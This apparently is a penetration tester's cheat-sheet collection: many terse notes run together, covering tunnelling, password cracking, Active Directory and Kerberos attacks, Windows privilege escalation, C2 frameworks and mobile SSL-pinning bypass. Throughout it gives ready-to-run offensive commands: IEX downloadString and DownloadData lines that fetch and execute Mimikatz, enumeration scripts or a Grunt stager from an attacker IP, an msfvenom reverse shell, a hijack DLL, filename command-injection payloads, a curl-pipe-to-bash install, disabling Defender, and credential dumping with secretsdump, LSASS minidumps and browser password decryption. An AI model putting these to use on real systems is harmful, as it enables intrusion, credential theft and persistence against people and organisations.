-> X-Rewrite-URL : /admin/deleteUser
=> Try every Method (403 bypass)
=> IDOR
=> Check other user ID (unpredictable)
=> Check response before redirect
=> Check every step of functionality (multi-step) if its affected with broken access control.
=> Referer-based (Add Referer Header)
=> References
$ https://portswigger.net/web-security/access-control
$ https://infosecwriteups.com/begineers-crash-course-for-finding-access-control-vulnerabilities-in-the-web-apps-part-1-5b61cf4396c4
$ https://infosecwriteups.com/begineers-crash-course-for-finding-access-control-vulnerabilities-in-the-web-apps-part-2-ce38eabfb81a
socat tcp-listen:8009,fork tcp:192.168.56.104:8009 &
socat tcp-listen:8080,fork tcp:192.168.56.104:8080 &
socat tcp-listen:34483,fork tcp:192.168.56.104:34483 &
socat tcp-listen:4321,fork tcp:192.168.56.104:4321 &=> Install
$ pip install PyJWT
=> Commands
$ import jwt
$ encoded = jwt.encode({"username": "o5yY6yya", "exp" : 1690896507}, "", algorithm="HS256")
$ encoded
=> References
$ https://github.com/jpadilla/pyjwt
$ https://www.epochconverter.com/# Command
tcpdump -i lo -w /tmp/write.pcap# Chisel
https://github.com/jpillora/chisel
## Client Machine
./chisel client 10.66.67.154:8000 R:25:127.0.0.1:25
./chisel client 10.66.67.130:8000 R:8080:127.0.0.1:8080
./chisel client 10.10.10.10:8001 R:1080:socks
## Attacker Machine
./chisel server -p 8000 --reverse
# Add this in /etc/proxychains4.conf
socks5 127.0.0.1 1080#!/bin/bash
for i in {1..255}; do
if out=$(ping -c 1 10.10.10.$i); then
echo "$out" | grep ttl | cut -d " " -f4 | cut -d ":" -f1
echo "$out" | grep ttl | cut -d " " -f4 | cut -d ":" -f1 >> ip.txt
fi
done# Downloads
https://github.com/RickdeJager/stegseek
# Commands
stegseek [stegofile.jpg] [wordlist.txt]
stegeek a.jpg rockyou.txt# Download/Install
https://github.com/ReFirmLabs/binwalk
sudo apt-get install -y binwalk
# Commands
binwalk --signature firmware.bin
binwalk -A firmware.bin
# References
- https://github.com/ReFirmLabs/binwalk/wiki/Usage#options (-t)
=> crunch 5 5 -t @@@@@ -o alphabet.txt
@ will insert lower case characters
, will insert upper case characters
% will insert numbers
^ will insert symbols# Download
https://github.com/hashcat/kwprocessor
# Commands
./kwp basechar.txt keymap.txt route.txt
./kwp -z basechars/full.base keymaps/en-us.keymap routes/2-to-16-max-3-direction-changes.route# Download
https://docs.microsoft.com/en-us/sysinternals/downloads/procdump
# Usage
.\procdump64.exe -accepteula
.\procdump64.exe -ma <PID># Command
hashcat -m 3200 hash wordlist.txt -r best64.rule
hashcat -m 1000 hash wordlist.txt -r all4one.rule --show --username# Github
https://github.com/aaronjones111/cauldera
# Command======AWS CLI======
# Install
# Commands
aws s3 ls s3://bucketname
aws s3 cp file.txt s3://bucketname
aws s3 rm s3://bucketname/file.txt
aws s3 ls s3://bucketname/ --no-sign-request --region cn-northwest-1
aws s3 mv file.txt s3://bucketname
aws s3 cp s3://bucketname/file.txt . --no-sign-request --region cn-northwest-1
# References
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/AWS%20Amazon%20Bucket%20S3/README.md# Download
wget https://raw.githubusercontent.com/itm4n/PrivescCheck/master/PrivescCheck.ps1
# Get File from Victim Machine
wget http://10.10.14.16:80/PrivescCheck.ps1 -outfile PrivescCheck.ps1
# Commands
. .\PrivescCheck.ps1
Invoke-PrivescCheck
# Directly
IEX(IWR http://10.10.10.10/PrivescCheck.ps1 -UseBasicParsing); Invoke-PrivescCheck# Downloads
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1
# Commands
$c = "C:/patho/execute.dll"
$PEBytes = [IO.File]::ReadAllBytes($c)
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local# Download
wget https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/master/windows-exploit-suggester.py
# Commands
python windows-exploit-suggester.py --update
python windows-exploit-suggester.py -i systeminfo.txt -d 2021-04-23-mssb.xls=====List
.\Listdlls64.exe dllhijackservice
# References
https://docs.microsoft.com/en-us/sysinternals/downloads/# Download
https://github.com/411Hall/JAWS.git
# Commands
IEX(New-Object Net.WebClient).downloadString('http://10.10.10.10/jaws-enum.ps1')
. .\jaws-enum.ps1# Commands
davtest -url http://10.10.10.15
cadaver http://10.10.10.15/
* put shell.txt
* move shell.txt shell.aspx# Install
pip3 install threader3000
# Commands
threader3000
# One Liner
for i in $(cat ip.txt); do echo "["$i"]" >> port.txt; echo "" >> port.txt;echo $i | threader3000 | grep "open" >> port.txt; echo "" >> port.txt;done
# References
- https://github.com/dievus/threader3000# Download
https://github.com/r3motecontrol/Ghostpack-CompiledBinaries
# Usage
Seatbelt.exe -group=all# SMB
- Create one folder name profile (mkdir profile)
- sudo /opt/Tools/impacket/examples/smbserver.py items profile
- net view \\10.10.10.10
- copy items.db \\10.10.10.10\ITEMS\items.db
# References
https://medium.com/@PenTest_duck/almost-all-the-ways-to-file-transfer-1bd6bf710d65# Download
https://github.com/unode/firefox_decrypt.git
# Usage
- Ensure that these files in the folder
* logins.json
* cookies.sqlite
* key4.db
* cert9.db
- python3 firefox_decrypt.py /opt/Training/Gatekeeper/profile# Pdf2john
perl /usr/share/john/pdf2john.pl example.pdf > hash
# Commands
john hash --wordlist=rockyou.txt
john hash --show# FoxyProxy
https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
# X-Forwarded For Injector
https://addons.mozilla.org/en-US/firefox/addon/x-forwarded-for-injector/# Commands
sshuttle -vr [email protected] 192.168.0.1/24
sshuttle -vr [email protected] -e "ssh -i id_rsa" 192.168.0.1/24
sshuttle -vr [email protected] 192.168.0.1/16# Downloads/Install
https://docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-core-on-linux?view=powershell-7.1# Downloads
https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1
# Commands
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
Invoke-Mimikatz -DumpCreds# Run
.\mimikatz.exe
# Commands
# References
https://github.com/gentilkiwi/mimikatz/releases# Download
https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1
# Commands
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | out-file hash.txt -Width 8000# Downloads
https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1
# Commands
Invoke-Bloodhound -CollectionMethod All -Domain bank.local
Invoke-Bloodhound -CollectionMethod All
Invoke-Bloodhound -CollectionMethod All -ZipFileName test.zip
# Commands
/usr/lib/bloodhound/resources/app/Collectors/SharpHound.exe=> Download
$ https://github.com/phra/PEzor
=> Commands
$ sudo bash install.sh
$ ./PEzor.sh -format=exe mimikatz.exe -z 2 -p '"lsadump::dcsync /domain:spookysec.local /user:krbtgt" "exit"'
$ ./PEzor.sh -format=exe mimikatz.exe -z 2 -p '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"'
=> References
$ # Install
sudo apt install jq
# Example
cat 20210606133816_users.json | jq '.users[] | .Properties["name"]'
# References
https://lzone.de/cheat-sheet/jq
========Unquoted Service Path========
-> Check if there is quote or not (")
-> Check if the directory is writable or not
-> Check if the service can be restart or not.
wmic service get name,pathname,displayname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
icacls "C:\Program Files\Unquoted Path Service\Common Files"
sc query "unquotedsvc"
accesschk.exe -ucqv unquotedsvc
msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=9001 -f exe > Common.exe
sc stop unquotedsvc
sc start unquotedsvc
sc qc unquotedsvc
## Unquoted Service Path (Mitigate)
Get-ItemProperty HKLM::\SYSTEM\CurrentControlSet\Services\unquotedsvc
(Get-ItemProperty HKLM::\SYSTEM\CurrentControlSet\Services\unquotedsvc).ImagePath
Set-ItemProperty HKLM::\SYSTEM\CurrentControlSet\Services\unquotedsvc -Name ImagePath -Value '"C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe"'
sc config unquotedsvc binPath= "\"C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe\""
## References (Unquoted Service Path)
https://www.techiessphere.com/2017/06/how-to-fix-unquoted-service-path-vulnerability.html?m=1
https://github.com/VectorBCO/windows-path-enumerate/
========Dll Hijacking========
-> Check if there is a missing Dll which cannot be loaded (NAME NOT FOUND)
-> Check if the path to the Dll is writable or not
-> Check if the service can be restart or not.
wmic service get name,pathname,displayname,startmode | findstr /i /v "C:\Windows\\"
sc query dllsvc
sc queryex dllsvc
sc stop dllsvc
sc start dllsvc
taskkil /F /PID /8080
## windows_dll.c
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /k whoami > C:\\Temp\\imhere.txt");
ExitProcess(0);
}
return TRUE;
}
# x86
i686-w64-mingw32-gcc windows_dll.c -shared -o hijackme.dll
# x64
x86_64-w64-mingw32-gcc windows_dll.c -shared -o hijackme.dll
## References (Dll Hijacking)
https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/dll-hijacking
========Service binPath========
## References (Changing Service Configuration)
https://www.ired.team/offensive-security/privilege-escalation/weak-service-permissions
========Others========
# References
https://gist.github.com/sckalath/8dacd032b65404ef7411
https://github.com/ankh2054/windows-pentest=> Remove First Character
$ echo "xtest" | cut -c2-
=> Remove the first occurence character
$ echo $i | sed 's@/@@' # Remove '/'
=> Remove the first / if got
$ for i in $(cat wordlist.txt);do if [[ $i == /* ]]; then echo $i | sed 's@/@@'; else echo $i; fi;done
=> Loop and read from file (line by line)
$ while IFS= read -r line; do echo "$line" ; done < word.txt
=> xxd
$ xxd notes.txt
$ echo "62006600610038003100300034007d000d000a00" | xxd -r -p
=> Add new user
$ sudo useradd username
$ sudo useradd -d /opt/home username
$ sudo useradd -u 1002 username
$ sudo useradd -u 1002 -g 500 username
$ sudo useradd -u 1002 -G admins,webadmins,dev username
$ sudo useradd -M username
$ sudo useradd -e 2021-10-10 username
$ sudo useradd -e 2021-10-10 -f 50 username
$ sudo useradd -c "New User 2021" username
$ sudo useradd -s /sbin/nologin username
=> Add to sudo group
$ sudo usermod -aG sudo username
=> Mount
$ mkdir mount; sudo mount //10.10.10.10/Drive mount/ -o username=”nik”,password=”Passw0rd@123!”
=> ntpdate
$ ntpdate 10.10.10.10.10
=> net
$ net time set -S 10.10.10.10
=> Conversion
echo $((0x9f))
=> Remove From sudo group
$ sudo deluser username sudo
# Download
https://github.com/theevilbit/ciscot7
# Usage
python3 ciscot7.py -p "0242114B0E143F015F5D1E161713"
# Example Password Encrypted
0242114B0E143F015F5D1E161713alias rot13="tr 'A-Za-z' 'N-ZA-Mn-za-m'"
* echo "a" | rot13
alias urldecode='sed "s@+@ @g;s@%@\\\\x@g" | xargs -0 printf "%b"'
* echo 'P%40%24%24w0rd' | urldecode
alias base64w='iconv --to-code UTF-16LE | base64 -w 0'
* echo whoami | base64w
alias hex='xxd -p'
* echo -n "hello" | hex
* while read line; do echo $line | hex | tr "\n" " " | sed 's/ //g';echo; done < payload.txt
=> User Enumeration
$ https://www.vaadata.com/blog/user-enumerations-on-web-applications/
$ https://www.rapid7.com/blog/post/2017/06/15/about-user-enumeration/
=> Directory Listing
$ https://cwe.mitre.org/data/definitions/548.html
=> File upload
$ https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
=> SQL Injection
$ https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
$ https://owasp.org/www-community/attacks/SQL_Injection
$ https://portswigger.net/web-security/sql-injection
=> Sensitive Information
$ https://cwe.mitre.org/data/definitions/200.html
$ https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure
$ https://cwe.mitre.org/data/definitions/359.html
$ https://cyberintelligencehouse.com/exposure/disclosure-of-sensitive-information-and-exposure-enables-phishing
$ https://portswigger.net/web-security/information-disclosure
=> Zip Password
$ https://github.com/jingleyang/security_ctf/blob/master/hacking-lab.com/5020%20Password%20protected%20ZIP%20Writeup.md
=> Local File Inclusion (LFI)
$ https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion
$ https://www.acunetix.com/blog/articles/local-file-inclusion-lfi/
$ https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/
=> Source Code Disclosure
$ https://portswigger.net/kb/issues/006000b0_source-code-disclosure
$ https://www.acunetix.com/blog/articles/source-code-disclosure-dangerous/# RCE in Filename
file$(whoami).jpg
file`whoami`.jpg
file;sleep 30;.jpg
# References
https://www.onsecurity.io/blog/file-upload-checklist/
https://book.hacktricks.xyz/pentesting-web/file-upload=> Show Process
$ ps
$ ps | findstr "something"
=> Kill Process
$ stop-process -id 500 -force
=> Wget
$ wget 10.10.10.10/output.txt -outfile output.txt
=> Find file (recursive)
$ Get-ChildItem -Path C:\ -Filter ntds.dit -Recurse -ErrorAction SilentlyContinue -Force
=> Search content recursively
$ Get-ChildItem -Include "*.*" -recurse | Select-String -pattern "flag" | group path | select name
$ Get-ChildItem -Include "*.*" -recurse | Select-String -pattern "password" | group path | select name
=> Search Content
$ (Get-ChildItem C:\Users).Count
=> Disable Windows Defender
$ Set-MpPreference -DisableRealtimeMonitoring $true
=> Get Local/Remote Port
((Get-NetTCPConnection -State Listen | select -ExpandProperty LocalPort) -join [char]44)
((Get-NetTCPConnection -State Established | select -ExpandProperty RemotePort |Sort-Object -Unique) -join [char]44)
=> Get SMBShare
((Get-SMBShare | select -ExpandProperty Name) -join [char]44)
=> Get IPV4 Address
(Get-NetIPAddress -AddressFamily IPv4).IPAddress
=> Read /etc/hosts (Remove # - Comments)
(Get-Content C:\Windows\System32\drivers\etc\hosts | Where { $_ -notmatch [char]94+[char]35 }).Trim()
=> List commandline process
wmic process list full | findstr /I commandline | Sort-Object -Unique
wmic process list full | findstr /I commandline | Sort-Object -Unique | Select-String -Pattern "password"
$test=[char]117+[char]114+[char]108;wmic process list full | findstr /I commandline |Sort-Object -Unique | Select-String -Pattern $test
=> Exclude String
type text.txt | Select-String -Pattern "food|eat" -NotMatch
=> Base64 (Encode)
$Text = 'This is a secret and should be hidden'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText
=> Base64 (Encode - EXE)
$b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\Administrator\Documents\mimikatz.exe'));
[IO.File]::WriteAllText('C:\Users\Administrator\Documents\encode.txt', $b64)
=> Reverse
$text2 = (cat 'C:\Windows\Tasks\output.txt')
-join $text2[-1..-$text2.Length]
@
$b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Windows\Tasks\mimikatz.exe'))
$text = $b64.ToCharArray()
[Array]::Reverse($text)
-join $text
=> Append File / Combine File
$ [string]::join("",((cat C:\Windows\Tasks\output.txt, C:\Windows\Tasks\output2.txt).Split("`n"))) > C:\Windows\Tasks\output3.txt
=> List Firewall Settings
netsh firewall show state
=> View lnk files information
$sh = New-Object -COM WScript.Shell
$targetPath = $sh.CreateShortcut('C:\Users\Public\Desktop\shortcut.lnk')
$targetPath=> Find Vulnerable GPO (Using PowerView)
$ Get-DomainObjectAcl -Identity "GPOName" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|AllExtendedWrite|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner")}
$ Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
$ Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name | ?{($_.ActiveDirectoryRights.ToString() -match "GenericWrite|AllExtendedWrite|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner")}}
=> Abuse Using SharpGPOAbuse
$ https://github.com/FSecureLABS/SharpGPOAbuse
$ .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Debug" --Author bank.local\administrator --Command "cmd.exe" --Arguments "/c powershell.exe -e <BASE64>" --GPOName "Vulnerable GPO"
$ .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Debug" --Author bank.local\administrator --Command "cmd.exe" --Arguments "/c net localgroup administrators nik /add" --GPOName "Vulnerable GPO"
$ .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount nik --GPOName "Vulnerable GPO"
$ gpupdate /force
=> References
$ https://book.hacktricks.xyz/windows/active-directory-methodology/acl-persistence-abuse#abusing-weak-gpo-permissions
$ https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#exploit-group-policy-objects-gpo=> Find Group Membership
$ (Get-WmiObject -Class Win32_GroupUser | where-object {$_.PartComponent -match "SQLAadmin"} | %{[wmi]$_.GroupComponent}).Caption
=> Find Domain Controllers
$ [System.DirectoryServices.ActiveDirectory.Domain]::GetComputerDomain().DomainControllers.Name
=> List Domain Computer
$ Get-WmiObject -Namespace root\directory\ldap -Class ds_computer | select -ExpandProperty ds_cn
$ (Get-WmiObject -Namespace root\directory\ldap -Class ds_computer | select -ExpandProperty ds_cn).Count
=> References
$ https://mlcsec.com/active-directory-domain-enumeration-part-2/
$ https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md=> Commands
$ cmdkey /list
=> taskkill
$ taskkil /F /PID 8071
=> sc
$ sc qc servicename
$ sc queryex servicename
$ sc stop serviceanme
$ sc start servicename
$ sc query servicename
=> Find File Recursive
$ dir *flag* /s /b
=> winrs
$ winrs.exe -r:WEB01APP hostname
=> Change Password User
$ net user Administrator Passw0rd@123!
=> Dump process or pid
$ rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump [process ID of process.exe] dump.bin full
$ rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump [process ID of process.exe] \\10.10.10.10\public\dump.bin full
=> Donwloads/Install
$ sudo apt-get install bloodhound
=> Commands
$ ne04j console
$ neo4j
=> Notes
$ http://localhost:7474/
$ neo4j:neo4j
=> References
$ https://www.vincentyiu.com/red-team-tips
$ https://vysecurity.rocks/
$ https://herrscher.info/index.php/2021/04/11/red-teaming-guide/
$ http://blog.redxorblue.com/2019/12/no-shells-required-using-impacket-to.html
$ https://www.exploit-db.com/docs/48282
$ https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/# Download
https://github.com/GhostPack/Rubeus
# Commands
.\Rubeus.exe asreproast /format:hashcat /outfile:ou.txt
.\Rubeus.exe kerberoast /outfile:ou.txt
.\Rubeus.exe asktgs /ticket:<base64.txt> /service:MSSQL\DC01.MEGACORP.LOCAL
.\Rubeus.exe hash /user:nik /domain:BANK /password:password
.\Rubeus dump
* [IO.File]::WriteAllBytes("C:\users\administrator\downloads\ticket.kirbi", [Convert]::FromBase64String("<base64 longer>"))
* .\Rubeus.exe ptt /ticket:ticket.kirbi
* .\PsExec64.exe -accepteula \\bank.local -u nikk cmd
.\Rubeus.exe s4u /user:nk /rc4:238F7038FD4BBC3293D8E75566DF4D65 /impersonateuser:administrator /msdsspn:"MSSQL/DC01.BANK.LOCAL" /altservice:cifs,http,host,mssql,mssqlsvc,ldap,krbtgt /ptt
.\Rubeus.exe dump /nowrap
* [IO.File]::WriteAllBytes("C:\users\nik\downloads\cifs.kirbi", [Convert]::FromBase64String("<BASE64>"))
* ticketConverter.py cifs.kirbi cifs.ccache# Dotnet Install/Download
https://dotnet.microsoft.com/download/dotnet/3.1
# Commands
ImpersonateProcess 1776
ImpersonateProcess <PID>
PortScan 192.168.20.10 10-2000
# Chisel
- shell C:\windows\tasks\chisel_windows.exe client 10.10.10.10:8000 R:1080:socks
* Edit /etc/proxychains4.conf => socks5 127.0.0.1 1080
# Rubeus
- Rubeus kerberoast admin hashcat
- Rubeus klist
# Import Powershell
- PowerShellImport
- Choose file
# Powerview
- Powershell Get-DomainUser -TrustedToAuth
# PowerMad
- Powershell Resolve-DNSName NoDNSRecord
- Powershell New-ADIDNSNode -Node * -Verbose
- Powershell grant-adidnspermission -node * -principal "Authenticated Users" -Access GenericAll -Verbose
# Invoke-DNSUpdate
- Powershell Invoke-DNSupdate -DNSType A -DNSName * -DNSData 10.10.10.10 -Verbose
# Inveigh
- Powershell Invoke-InveighRelay -ConsoleOutput -Y -StatusOutput N -Command "net user commandtest Passw0rd123! /add" -Attack Enumerate,Execute,Session
- Powershell Invoke-Inveigh -ConsoleOutput Y
- Powershell Stop-Inveigh
- Powwershell Invoke-Inveigh -FileOutput Y
# Load Grunt (Load Assembly)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/grunt.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[GruntStager.GruntStager]::Main("".Split())
# Impersonate
getsystem
# Install
curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2/master/Install.sh | sudo bash
# Commands (posh)
posh-project -n <project-name>
posh-project -d <project-name>
posh-config
posh-server <-- This will run the C2 server, which communicates with Implants and receives task output
posh <-- This will run the ImplantHandler, used to issue commands to the server and implants
posh-service <-- This will run the C2 server as a service instead of in the foreground
posh-stop-service <-- This will stop the service
posh-log <-- This will view the C2 log if the server is already running
posh -u aniq
# Commands
# References
https://github.com/nettitude/PoshC2
https://poshc2.readthedocs.io/en/latest/
https://github.com/zenosxx/PoshC2
=> Install
$ sudo apt-get install android-tools-adb android-tools-fastboot
=> Commands
$ adb devices
$ adb shell
$ adb -s localhost:5555 shell# Intall
pip3 install pypykatz
# Commands
pypykatz lsa minidump lsass.dmp
pypykatz registry --sam sam system
# Command
# References
https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1# Install
GO111MODULE=on go get -v github.com/projectdiscovery/httpx/cmd/httpx=> Ways
$ script -qc /bin/bash /dev/null
$ python -m 'import pty;pty.spawn("/bin/bash"))'
$ python3 -m 'import pty;pty.spawn("/bin/bash"))'
$ Ctrl + z @ stty -raw echo;fg# Socat
socat tcp-listen:8888,reuseaddr,fork tcp:localhost:22
socat tcp-listen:8080,reuseaddr,fork tcp:localhost:8080
# Meterpreter
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
# Chisel
## Client Machine
./chisel client 10.66.67.154:8000 R:25:127.0.0.1:25
./chisel client 10.66.67.130:8000 R:8080:127.0.0.1:8080
./chisel client 10.10.10.10:8001 R:1080:socks
## Attacker Machine
./chisel server -p 8000 --reverse
# References
-> https://book.hacktricks.xyz/tunneling-and-port-forwarding=> Docker install
$ docker pull byt3bl33d3r/crackmapexec
$ docker run -it --entrypoint=/bin/sh --name crackmapexec byt3bl33d3r/crackmapexec
$ docker start crackmapexec
$ docker exec -it crackmapexec sh
$ docker cp /var/lib/docker/volumes/data/_data/EMPLOYEE.FDB firebird:/firebird/data/EMPLOYEE2.FDB
=> Commands
$ crackmapexec smb --gen-relay-list targets.txt 10.10.10.0/24
$ crackmapexec smb 10.10.10.10 -u 'nik' -p 'Password@123!' -X whoami --amsi-bypass /tmp/amsiibypass
$ crackmapexec smb 10.10.10.10 -u 'nik' -p 'Password@123!' -x whoami
$ crackmapexec smb 10.10.10.10 -u 'nik' -H hash_uniq.txt
=> GetNPUsers.py (AsrepRoasting)
$ GetNPUsers.py -dc-ip 10.10.10.10 -request 'bank.local/' -no-pass -usersfile user.txt -format hashcat
mode 18200
=> GetUserSPNs.py (Kerberoasting)
$ GetUserSPNs.py bank.local/nik:'Password@123!' -dc-ip 10.10.10.10 -request -outputfile output.txt
=> GetADUsers.py
$ GetADUsers.py -all bank.local/nik:'Password@123!'-dc-ip 10.10.10.10
=> secretsdump.py
$ export KRB5CCNAME=Administrator.ccache
$ secretsdump.py -k DC01.bank.local -just-dc
$ secretsdump.py -just-dc bank.local/nik:'Password@123!'@10.10.10.10
$ secretsdump.py -ntds ntds.dit -system system local
$ secretsdump.py -ntds ntds.dit -system system local -history
$ secretsdump.py -sam SAM -system SYSTEM local
$ secretsdump.py -ntds ntds.dit -system system.hive local -outputfile dump.txt
$ secretsdump.py bank.local/Administrator@BANK -target-ip 10.10.10.10 -hashes aad3b435b51404eeaad3b435b51404ee:32db622ed9c00dd1039d8288b0407460
=> getST.py
$ getST.py -spn MSSQL/DC01.BANK.LOCAL 'BANK.LOCAL/nik:password' -impersonate Administrator -dc-ip 10.10.10.10
$ getST.py -spn MSSQL/DC01.BANK.LOCAL 'BANK.LOCAL/nik' -impersonate Administrator -dc-ip 10.10.10.10 -hashes ':2182eed0101516d0ax06b98c579x65e6'
=> getTGT.py
$ getTGT.py -dc-ip 10.10.10.10 bank.local/nik:'Passw0rd@123!'
=> wmiexec.py
$ export KRB5CCNAME=Administrator.ccache;
$ wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:0405e42853c0f2cb0454964601f27bae [email protected]
$ wmiexec.py -hashes :0405e42853c0f2cb0454964601f27bae [email protected]
$ wmiexec.py bank.local/[email protected] -k -no-pass
=> psexec.py
$ export KRB5CCNAME=Administrator.ccache
$ psexec.py BANK\A[email protected] -hashes 'aad3b435b51404eeaad3b435b51404ee:2182eed0101516d0ax06b98c579x65e6'
$ psexec.py bank.local/nik:'Password@123'@10.10.10.10
$ psexec.py -dc-ip 10.10.10.10 -target-ip 10.10.10.10 -no-pass -k bank.local/[email protected]
$ psexec.py bank.local/[email protected] -k -no-pass
=> smbclient.py
$ export KRB5CCNAME=Administrator.ccache;
$ smbclient.py bank.local/nik:'Password@123'@10.10.10.10
$ smbclient.py bank.local/[email protected] -dc-ip 10.10.10.10 -target-ip 10.10.10.10 -no-pass -k
$ smbclient.py bank.local/[email protected] -no-pass -k
$ shares
$ ls
$ cd ..
$ cat flag.txt
=> mssqlclient.py
$ mssqlclient.py -windows-auth bank.local/aniq:'Password@123'@10.10.10.10
=> ticketConverter.py
$ ticketConverter.py cifs.kirbi cifs.ccache
=> ticketer.py (Golden Tick)
$ ticketer.py -domain bank.local -nthash <KRBTGT_HASH> -dc-ip 10.10.10.10 -domain-sid <DOMAIN_SID> <USER>
$ ticketer.py -domain bank.local -nthash 4e48ce125611add31a32cd79e529964b -dc-ip 10.10.10.10 -domain-sid S-1-5-21-3750359090-2939318659-876128439 lolol
=> lookupsid.py
$ lookupsid.py Administrator:[email protected]
$ lookupsid.py bank.local/[email protected] -hashes ':32db622ed9c00dd1039d8288b0407460'
=> References
$ https://www.hackingarticles.in/abusing-kerberos-using-impacket/# Download
wget https://github.com/git-lfs/git-lfs/releases/download/v2.9.0/git-lfs-linux-amd64-v2.9.0.tar.gz
# Steps
tar -xf git-lfs-linux-amd64-v2.9.0.tar.gz
chmod +x install.sh
sudo ./install.sh
# Inside directory repo
git lfs install
git lfs track "*.m"
git add .gitattributes
git commit -am "Done"
git push origin master
=> Commands
git status
git pull
git add .
git commit -m "Update"
git push
git stash
git stash list
git stash show -p "stash@{0}"
git stash apply "stash@{0}"# Install
pip3 install -U objection
# Commands
- objection patchapk --source base.apk
- objection patchapk --source base.apk -a arm64
- adb install base.objection.apk
- objection -g com.app.yes explore
- objection explore (Make sure to open the application first in our mobile phone before run)
#==Android==
* android sslpinning disable
#==Ios==
* ios sslpinning disable
# References
- https://gowthamr1.medium.com/android-ssl-pinning-bypass-using-objection-and-frida-scripts-f8199571e7d8
- https://github.com/sensepost/objection/tree/master/objection/console/helpfiles
- https://rehex.ninja/posts/frida-cheatsheet/
- https://cheatography.com/hnd/cheat-sheets/objection-ios/# Download
https://github.com/pwntester/ysoserial.net
# Commands
##==Json.Net==
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "powershell curl http://10.10.10.10/"
# GitHub (Example -> https://github.com/H0j3n/EzpzCTF)
- This is how im manage to upload files and not worry about the location (If there is any other ways let me know)
- Make one folder name as src in root path (git repo)
- Then you copy the url path to that image
- Example : https://github.com/H0j3n/EzpzCTF/tree/main/src/
- This a one liner to do that
- Make sure to change the url to yours.
- It receive url encode thats why you will see %20 in the url which equivalent to spaces.
======(One Liner)=====
cat README.md | sed 's/\!\[\[Pasted image /\!\[\]\(https\:\/\/github.com\/H0j3n\/EzpzCTF\/blob\/main\/src\/Pasted%20image%20/g' | sed 's/.png\]\]/.png\)/g' > test.md;mv test.md README.md
======================
# Install
- https://portswigger.net/bappstore/eb563ada801346e6bdb7a7d7c5c52583
# References
- https://gist.github.com/lanmaster53/3d868369d0ba5144b215921d4e11b052
- https://github.com/PortSwigger/python-scripter=> Extensions List
$ https://github.com/snoopysecurity/awesome-burp-extensions#xxe
$ https://portswigger.net/solutions/penetration-testing/penetration-testing-toolsLink : https://github.com/BushidoUK/CTI-Lexicon/blob/main/Lexicon.md
# About
- Guide to some of the jargon and acronyms liberally used in CTI. You will sometimes find these peppered in reports with no explanation offered or in the Tweets by professionals from Infosec Twitter
# References
- https://github.com/nagadomi/waifu2x
- http://waifu2x.udp.jp/
=> Download
$ https://github.com/SpiderLabs/Responder
=> Configuration Location
$ /etc/responder/Responder.conf
=> Commands
$ sudo responder -I tun0 -rdwv=> Download
$ https://github.com/micahvandeusen/gMSADumper
=> Commands
$ python3 gMSADumper.py -u 'nik' -p 'Passw0rd@123!'' -d bank.local
=> References
$ https://docs.microsoft.com/en-us/windows/win32/adschema/a-msds-managedpasswordid
$ https://github.com/n00py/LAPSDumper/
$ https://github.com/micahvandeusen/gMSADumper=> Download
